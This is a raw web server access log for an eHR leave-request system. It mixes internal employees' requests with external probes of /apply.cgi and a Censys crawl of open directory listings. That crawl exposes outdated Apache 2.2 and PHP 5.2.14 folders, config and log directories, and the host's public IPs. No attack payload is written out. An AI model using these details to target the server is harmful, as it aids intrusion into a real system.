"http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.6177197234489781" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.125 - - [05/Dec/2025:15:01:50 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.6177197234489781 HTTP/1.1" 200 12411 192.168.11.125 - - [05/Dec/2025:15:01:54 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4201 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.125 - - [05/Dec/2025:15:01:54 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4201 192.168.11.125 - - [05/Dec/2025:15:01:57 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 22190 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.125 - - [05/Dec/2025:15:01:57 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 22190 192.168.11.125 - - [05/Dec/2025:15:02:17 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.36161371040728774 HTTP/1.1" 200 10228 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.125 - - [05/Dec/2025:15:02:17 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.36161371040728774 HTTP/1.1" 200 10228 192.168.11.125 - - [05/Dec/2025:15:02:23 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.36161371040728774 HTTP/1.1" 200 12411 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.36161371040728774" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.125 - - [05/Dec/2025:15:02:23 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.36161371040728774 HTTP/1.1" 200 12411 192.168.11.125 - - [05/Dec/2025:15:02:28 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4201 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.125 - - [05/Dec/2025:15:02:28 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4201 100.64.0.1 - - [05/Dec/2025:15:13:55 +0800] "POST /apply.cgi HTTP/1.1" 404 207 "http://202.111.43.170:8088/apply.cgi" "Mozilla/5.0 (rondo2012@atomicmail.io)" 100.64.0.1 - - [05/Dec/2025:15:13:55 +0800] "POST /apply.cgi HTTP/1.1" 404 207 100.64.0.1 - - [05/Dec/2025:15:13:56 +0800] "POST /apply.cgi HTTP/1.1" 404 207 "http://202.111.43.170:8088/apply.cgi" "Mozilla/5.0 (rondo2012@atomicmail.io)" 100.64.0.1 - - [05/Dec/2025:15:13:56 +0800] "POST /apply.cgi HTTP/1.1" 404 207 100.64.0.1 - - [05/Dec/2025:15:16:26 +0800] "\x16\x03\x01" 501 205 100.64.0.1 - - [05/Dec/2025:15:16:26 +0800] "\x16\x03\x01" 501 205 "-" "-" 100.64.0.1 - - [05/Dec/2025:15:16:27 +0800] "\x16\x03\x01" 501 205 "-" "-" 100.64.0.1 - - [05/Dec/2025:15:16:27 +0800] "\x16\x03\x01" 501 205 100.64.0.1 - - [05/Dec/2025:15:23:22 +0800] "GET / HTTP/1.1" 200 439 "-" "-" 100.64.0.1 - - [05/Dec/2025:15:23:22 +0800] "GET / HTTP/1.1" 200 439 100.64.0.1 - - [05/Dec/2025:15:23:26 +0800] "\x16\x03\x01" 501 205 100.64.0.1 - - [05/Dec/2025:15:23:26 +0800] "\x16\x03\x01" 501 205 "-" "-" 100.64.0.1 - - [05/Dec/2025:15:23:27 +0800] "GET / HTTP/1.1" 200 439 100.64.0.1 - - [05/Dec/2025:15:23:27 +0800] "GET / HTTP/1.1" 200 439 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [05/Dec/2025:15:23:28 +0800] "PRI * HTTP/2.0" 400 226 "-" "-" 100.64.0.1 - - [05/Dec/2025:15:23:28 +0800] "PRI * HTTP/2.0" 400 226 100.64.0.1 - - [05/Dec/2025:15:23:29 +0800] "GET /favicon.ico HTTP/1.1" 404 209 100.64.0.1 - - [05/Dec/2025:15:23:29 +0800] "GET /favicon.ico HTTP/1.1" 404 209 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [05/Dec/2025:15:23:33 +0800] "GET / HTTP/1.1" 200 439 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [05/Dec/2025:15:23:33 +0800] "GET / HTTP/1.1" 200 439 100.64.0.1 - - [05/Dec/2025:15:23:34 +0800] "GET /idcard HTTP/1.1" 301 241 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [05/Dec/2025:15:23:34 +0800] "GET /idcard HTTP/1.1" 301 241 100.64.0.1 - - [05/Dec/2025:15:23:34 +0800] "GET /idcard/ HTTP/1.1" 200 649 "http://222.92.19.198:8088/idcard" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [05/Dec/2025:15:23:34 +0800] "GET /idcard/ HTTP/1.1" 200 649 100.64.0.1 - - [05/Dec/2025:15:23:35 +0800] "GET /Apache%20Software%20Foundation HTTP/1.1" 301 265 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [05/Dec/2025:15:23:35 +0800] "GET /Apache%20Software%20Foundation HTTP/1.1" 301 265 100.64.0.1 - - [05/Dec/2025:15:23:35 +0800] "GET /Apache%20Software%20Foundation/ HTTP/1.1" 200 478 "http://222.92.19.198:8088/Apache%20Software%20Foundation" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [05/Dec/2025:15:23:35 +0800] "GET /Apache%20Software%20Foundation/ HTTP/1.1" 200 478 100.64.0.1 - - [05/Dec/2025:15:23:36 +0800] "GET /Apache%20Software%20Foundation/emphoto HTTP/1.1" 301 273 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [05/Dec/2025:15:23:36 +0800] "GET /Apache%20Software%20Foundation/emphoto HTTP/1.1" 301 273 100.64.0.1 - - [05/Dec/2025:15:23:36 +0800] "GET /Apache%20Software%20Foundation/emphoto/ HTTP/1.1" 200 25237 "http://222.92.19.198:8088/Apache%20Software%20Foundation/emphoto" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [05/Dec/2025:15:23:36 +0800] "GET /Apache%20Software%20Foundation/emphoto/ HTTP/1.1" 200 25237 100.64.0.1 - - [05/Dec/2025:15:23:37 +0800] "GET /Apache%20Software%20Foundation/oracleclient.11.2.0.1.0 HTTP/1.1" 301 289 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [05/Dec/2025:15:23:37 +0800] "GET /Apache%20Software%20Foundation/oracleclient.11.2.0.1.0 HTTP/1.1" 301 289 100.64.0.1 - - [05/Dec/2025:15:23:37 +0800] "GET /Apache%20Software%20Foundation/oracleclient.11.2.0.1.0/ HTTP/1.1" 200 399 "http://222.92.19.198:8088/Apache%20Software%20Foundation/oracleclient.11.2.0.1.0" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [05/Dec/2025:15:23:37 +0800] "GET /Apache%20Software%20Foundation/oracleclient.11.2.0.1.0/ HTTP/1.1" 200 399 100.64.0.1 - - [05/Dec/2025:15:23:38 +0800] "GET /Apache%20Software%20Foundation/oracleclient.11.2.0.1.0/instantclient_11_2 HTTP/1.1" 301 308 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [05/Dec/2025:15:23:38 +0800] "GET /Apache%20Software%20Foundation/oracleclient.11.2.0.1.0/instantclient_11_2 HTTP/1.1" 301 308 100.64.0.1 - - [05/Dec/2025:15:23:38 +0800] "GET /Apache%20Software%20Foundation/oracleclient.11.2.0.1.0/instantclient_11_2/ HTTP/1.1" 200 2241 "http://222.92.19.198:8088/Apache%20Software%20Foundation/oracleclient.11.2.0.1.0/instantclient_11_2" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [05/Dec/2025:15:23:38 +0800] "GET /Apache%20Software%20Foundation/oracleclient.11.2.0.1.0/instantclient_11_2/ HTTP/1.1" 200 2241 100.64.0.1 - - [05/Dec/2025:15:23:39 +0800] "GET /Apache%20Software%20Foundation/oracleclient.11.2.0.1.0/instantclient_11_2/vc9 HTTP/1.1" 301 312 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [05/Dec/2025:15:23:39 +0800] "GET /Apache%20Software%20Foundation/oracleclient.11.2.0.1.0/instantclient_11_2/vc9 HTTP/1.1" 301 312 100.64.0.1 - - [05/Dec/2025:15:23:39 +0800] "GET /Apache%20Software%20Foundation/oracleclient.11.2.0.1.0/instantclient_11_2/vc9/ HTTP/1.1" 200 528 "http://222.92.19.198:8088/Apache%20Software%20Foundation/oracleclient.11.2.0.1.0/instantclient_11_2/vc9" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [05/Dec/2025:15:23:39 +0800] "GET /Apache%20Software%20Foundation/oracleclient.11.2.0.1.0/instantclient_11_2/vc9/ HTTP/1.1" 200 528 100.64.0.1 - - [05/Dec/2025:15:23:39 +0800] "GET /Apache%20Software%20Foundation/oracleclient.11.2.0.1.0/instantclient_11_2/vc8 HTTP/1.1" 301 312 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [05/Dec/2025:15:23:39 +0800] "GET /Apache%20Software%20Foundation/oracleclient.11.2.0.1.0/instantclient_11_2/vc8 HTTP/1.1" 301 312 100.64.0.1 - - [05/Dec/2025:15:23:40 +0800] "GET /Apache%20Software%20Foundation/oracleclient.11.2.0.1.0/instantclient_11_2/vc8/ HTTP/1.1" 200 528 "http://222.92.19.198:8088/Apache%20Software%20Foundation/oracleclient.11.2.0.1.0/instantclient_11_2/vc8" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [05/Dec/2025:15:23:40 +0800] "GET /Apache%20Software%20Foundation/oracleclient.11.2.0.1.0/instantclient_11_2/vc8/ HTTP/1.1" 200 528 100.64.0.1 - - [05/Dec/2025:15:23:40 +0800] "GET /Apache%20Software%20Foundation/Apache2.2 HTTP/1.1" 301 275 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [05/Dec/2025:15:23:40 +0800] "GET /Apache%20Software%20Foundation/Apache2.2 HTTP/1.1" 301 275 100.64.0.1 - - [05/Dec/2025:15:23:40 +0800] "GET /Apache%20Software%20Foundation/Apache2.2/ HTTP/1.1" 200 1125 "http://222.92.19.198:8088/Apache%20Software%20Foundation/Apache2.2" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [05/Dec/2025:15:23:40 +0800] "GET /Apache%20Software%20Foundation/Apache2.2/ HTTP/1.1" 200 1125 100.64.0.1 - - [05/Dec/2025:15:23:41 +0800] "GET /Apache%20Software%20Foundation/Apache2.2/manual HTTP/1.1" 301 282 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [05/Dec/2025:15:23:41 +0800] "GET /Apache%20Software%20Foundation/Apache2.2/manual HTTP/1.1" 301 282 100.64.0.1 - - [05/Dec/2025:15:23:41 +0800] "GET /Apache%20Software%20Foundation/Apache2.2/manual/ HTTP/1.1" 200 758 "http://222.92.19.198:8088/Apache%20Software%20Foundation/Apache2.2/manual" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [05/Dec/2025:15:23:41 +0800] "GET /Apache%20Software%20Foundation/Apache2.2/manual/ HTTP/1.1" 200 758 100.64.0.1 - - [05/Dec/2025:15:23:42 +0800] "GET /Apache%20Software%20Foundation/Apache2.2/error HTTP/1.1" 301 281 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [05/Dec/2025:15:23:42 +0800] "GET /Apache%20Software%20Foundation/Apache2.2/error HTTP/1.1" 301 281 100.64.0.1 - - [05/Dec/2025:15:23:42 +0800] "GET /Apache%20Software%20Foundation/Apache2.2/error/ HTTP/1.1" 200 1877 "http://222.92.19.198:8088/Apache%20Software%20Foundation/Apache2.2/error" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [05/Dec/2025:15:23:42 +0800] "GET /Apache%20Software%20Foundation/Apache2.2/error/ HTTP/1.1" 200 1877 100.64.0.1 - - [05/Dec/2025:15:23:42 +0800] "GET /Apache%20Software%20Foundation/Apache2.2/htdocs HTTP/1.1" 301 282 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [05/Dec/2025:15:23:42 +0800] "GET /Apache%20Software%20Foundation/Apache2.2/htdocs HTTP/1.1" 301 282 100.64.0.1 - - [05/Dec/2025:15:23:42 +0800] "GET /Apache%20Software%20Foundation/Apache2.2/htdocs/ HTTP/1.1" 200 44 "http://222.92.19.198:8088/Apache%20Software%20Foundation/Apache2.2/htdocs" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [05/Dec/2025:15:23:42 +0800] "GET /Apache%20Software%20Foundation/Apache2.2/htdocs/ HTTP/1.1" 200 44 100.64.0.1 - - [05/Dec/2025:15:23:44 +0800] "GET /Apache%20Software%20Foundation/Apache2.2/icons HTTP/1.1" 301 281 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [05/Dec/2025:15:23:44 +0800] "GET /Apache%20Software%20Foundation/Apache2.2/icons HTTP/1.1" 301 281 100.64.0.1 - - [05/Dec/2025:15:23:44 +0800] "GET /Apache%20Software%20Foundation/Apache2.2/icons/ HTTP/1.1" 200 7449 "http://222.92.19.198:8088/Apache%20Software%20Foundation/Apache2.2/icons" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [05/Dec/2025:15:23:44 +0800] "GET /Apache%20Software%20Foundation/Apache2.2/icons/ HTTP/1.1" 200 7449 100.64.0.1 - - [05/Dec/2025:15:23:45 +0800] "GET /Apache%20Software%20Foundation/Apache2.2/logs HTTP/1.1" 301 280 100.64.0.1 - - [05/Dec/2025:15:23:45 +0800] "GET /Apache%20Software%20Foundation/Apache2.2/logs HTTP/1.1" 301 280 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [05/Dec/2025:15:23:45 +0800] "GET /Apache%20Software%20Foundation/Apache2.2/logs/ HTTP/1.1" 200 16863 "http://222.92.19.198:8088/Apache%20Software%20Foundation/Apache2.2/logs" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [05/Dec/2025:15:23:45 +0800] "GET /Apache%20Software%20Foundation/Apache2.2/logs/ HTTP/1.1" 200 16863 100.64.0.1 - - [05/Dec/2025:15:23:46 +0800] "GET /Apache%20Software%20Foundation/Apache2.2/conf HTTP/1.1" 301 280 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [05/Dec/2025:15:23:46 +0800] "GET /Apache%20Software%20Foundation/Apache2.2/conf HTTP/1.1" 301 280 100.64.0.1 - - [05/Dec/2025:15:23:46 +0800] "GET /Apache%20Software%20Foundation/Apache2.2/conf/ HTTP/1.1" 200 777 "http://222.92.19.198:8088/Apache%20Software%20Foundation/Apache2.2/conf" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [05/Dec/2025:15:23:46 +0800] "GET /Apache%20Software%20Foundation/Apache2.2/conf/ HTTP/1.1" 200 777 100.64.0.1 - - [05/Dec/2025:15:23:47 +0800] "GET /Apache%20Software%20Foundation/Apache2.2/bin HTTP/1.1" 301 279 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [05/Dec/2025:15:23:47 +0800] "GET /Apache%20Software%20Foundation/Apache2.2/bin HTTP/1.1" 301 279 100.64.0.1 - - [05/Dec/2025:15:23:47 +0800] "GET /Apache%20Software%20Foundation/Apache2.2/bin/ HTTP/1.1" 200 1889 "http://222.92.19.198:8088/Apache%20Software%20Foundation/Apache2.2/bin" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [05/Dec/2025:15:23:47 +0800] "GET /Apache%20Software%20Foundation/Apache2.2/bin/ HTTP/1.1" 200 1889 100.64.0.1 - - [05/Dec/2025:15:23:47 +0800] "GET /Apache%20Software%20Foundation/Apache2.2/modules HTTP/1.1" 301 283 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [05/Dec/2025:15:23:47 +0800] "GET /Apache%20Software%20Foundation/Apache2.2/modules HTTP/1.1" 301 283 100.64.0.1 - - [05/Dec/2025:15:23:48 +0800] "GET /Apache%20Software%20Foundation/Apache2.2/modules/ HTTP/1.1" 200 4219 "http://222.92.19.198:8088/Apache%20Software%20Foundation/Apache2.2/modules" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [05/Dec/2025:15:23:48 +0800] "GET /Apache%20Software%20Foundation/Apache2.2/modules/ HTTP/1.1" 200 4219 100.64.0.1 - - [05/Dec/2025:15:23:48 +0800] "GET /Apache%20Software%20Foundation/php-5.2.14-Win32 HTTP/1.1" 301 282 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [05/Dec/2025:15:23:48 +0800] "GET /Apache%20Software%20Foundation/php-5.2.14-Win32 HTTP/1.1" 301 282 100.64.0.1 - - [05/Dec/2025:15:23:48 +0800] "GET /Apache%20Software%20Foundation/php-5.2.14-Win32/ HTTP/1.1" 200 2217 "http://222.92.19.198:8088/Apache%20Software%20Foundation/php-5.2.14-Win32" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [05/Dec/2025:15:23:48 +0800] "GET /Apache%20Software%20Foundation/php-5.2.14-Win32/ HTTP/1.1" 200 2217 100.64.0.1 - - [05/Dec/2025:15:23:49 +0800] "GET /eHR HTTP/1.1" 301 238 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [05/Dec/2025:15:23:49 +0800] "GET /eHR HTTP/1.1" 301 238 100.64.0.1 - - [05/Dec/2025:15:23:49 +0800] "GET /eHR/ HTTP/1.1" 200 649 "http://222.92.19.198:8088/eHR" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [05/Dec/2025:15:23:49 +0800] "GET /eHR/ HTTP/1.1" 200 649 100.64.0.1 - - [05/Dec/2025:15:23:49 +0800] "GET /eHRTEST HTTP/1.1" 301 242 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [05/Dec/2025:15:23:49 +0800] "GET /eHRTEST HTTP/1.1" 301 242 100.64.0.1 - - [05/Dec/2025:15:23:50 +0800] "GET /eHRTEST/ HTTP/1.1" 200 649 "http://222.92.19.198:8088/eHRTEST" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [05/Dec/2025:15:23:50 +0800] "GET /eHRTEST/ HTTP/1.1" 200 649 100.64.0.1 - - [05/Dec/2025:15:23:50 +0800] "GET /eHR1 HTTP/1.1" 301 239 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [05/Dec/2025:15:23:50 +0800] "GET /eHR1 HTTP/1.1" 301 239 100.64.0.1 - - [05/Dec/2025:15:23:50 +0800] "GET /eHR1/ HTTP/1.1" 200 649 "http://222.92.19.198:8088/eHR1" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [05/Dec/2025:15:23:50 +0800] "GET /eHR1/ HTTP/1.1" 200 649 100.64.0.1 - - [05/Dec/2025:15:23:57 +0800] "\x16\x03\x01" 501 205 100.64.0.1 - - [05/Dec/2025:15:23:57 +0800] "\x16\x03\x01" 501 205 "-" "-" 100.64.0.1 - - [05/Dec/2025:15:23:58 +0800] "GET /robots.txt HTTP/1.1" 404 208 100.64.0.1 - - [05/Dec/2025:15:23:58 +0800] "GET /robots.txt HTTP/1.1" 404 208 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 192.168.11.77 - - [05/Dec/2025:15:32:16 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.77 - - [05/Dec/2025:15:32:16 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 192.168.11.77 - - [05/Dec/2025:15:32:21 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.77 - - [05/Dec/2025:15:32:21 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - 192.168.11.77 - - [05/Dec/2025:15:32:26 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 8926 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.77 - - [05/Dec/2025:15:32:26 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 8926 192.168.11.77 - - [05/Dec/2025:15:32:28 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10133 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.77 - - [05/Dec/2025:15:32:28 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10133 192.168.11.77 - - [05/Dec/2025:15:32:33 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE004&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 7489 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.77 - - [05/Dec/2025:15:32:33 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE004&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 7489 192.168.11.77 - - [05/Dec/2025:15:32:36 +0800] "GET /eHR/img/icon-time.gif HTTP/1.1" 200 242 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.77 - - [05/Dec/2025:15:32:36 +0800] "GET /eHR/img/icon-time.gif HTTP/1.1" 200 242 192.168.11.77 - - [05/Dec/2025:15:32:34 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 22190 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.77 - - [05/Dec/2025:15:32:34 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 22190 192.168.11.77 - - [05/Dec/2025:15:32:54 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.16432542228327618 HTTP/1.1" 200 8588 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.77 - - [05/Dec/2025:15:32:54 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.16432542228327618 HTTP/1.1" 200 8588 192.168.11.77 - - [05/Dec/2025:15:32:58 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.16432542228327618 HTTP/1.1" 200 14552 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.16432542228327618" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.77 - - [05/Dec/2025:15:32:58 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.16432542228327618 HTTP/1.1" 200 14552 192.168.11.77 - - [05/Dec/2025:15:33:13 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4198 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.77 - - [05/Dec/2025:15:33:13 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4198 192.168.11.77 - - [05/Dec/2025:15:33:17 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 22190 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.77 - - [05/Dec/2025:15:33:17 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 22190 192.168.11.77 - - [05/Dec/2025:15:33:31 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) 